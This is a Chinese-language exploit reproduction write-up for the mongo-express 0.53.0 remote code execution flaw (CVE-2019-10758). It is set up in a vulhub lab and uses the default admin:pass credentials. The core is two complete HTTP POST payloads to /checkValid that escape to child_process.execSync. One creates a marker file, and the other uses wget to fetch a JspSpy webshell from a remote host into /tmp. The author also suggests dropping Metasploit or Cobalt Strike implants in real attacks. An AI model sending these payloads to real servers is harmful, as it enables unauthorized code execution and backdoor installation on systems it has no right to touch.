漏洞分析
漏洞簡介
mongo-express是一款mongodb的第三方Web界面,使用node和express開發。
如果攻擊者可以成功登錄,或者目標服務器沒有修改默認的賬號密碼(admin:pass
),則可以執行任意node.js代碼。
影響版本
mongo-express 0.53.0
前提條件
1.知道Mongo的賬號密碼,或者未授權
特殊情況
由於poc中,用docker拉的mongodb默認是未授權的形式,所以不需要-u&-p來指定數據庫的賬號密碼。但是實際環境中mongodb不太可能是未授權,所以我覺得以cli+參數啟動服務的場景應該算是多見吧。
那么如果受害者指定了用戶名&密碼去啟動express-mongo,那么攻擊者直接未授權就可以打(即不需要指定authoriza header)
環境搭建
https://github.com/vulhub/vulhub/tree/master/mongo-express/CVE-2019-10758
環境啟動后,訪問http://your-ip:8081
即可查看到Web頁面。
復現環境
mongo-express 0.53.0
MongoDB Version 3.4.24
直接構造poc發送即可
就會在 /tmp目錄下生成success
POST /checkValid HTTP/1.1 Host: 目標ip Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Authorization: Basic YWRtaW46cGFzcw== Content-Type: application/x-www-form-urlencoded Content-Length: 124 document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")
進入docker環境里查看 /tmp目錄
-----------------------------------------------------------------
測試反彈shell不成功
那么來測試遠程下載
遠程下載實戰中可以下載到絕對路徑,或者下載msf/cs馬到/tmp目錄上線
POST /checkValid HTTP/1.1 Host: 目標ip Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Authorization: Basic YWRtaW46cGFzcw== Content-Type: application/x-www-form-urlencoded Content-Length: 161 document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("wget http://目標文件/JspSpy.jsp.txt -O /tmp/5.jsp")
查詢 /tmp目錄下是否下載5.jsp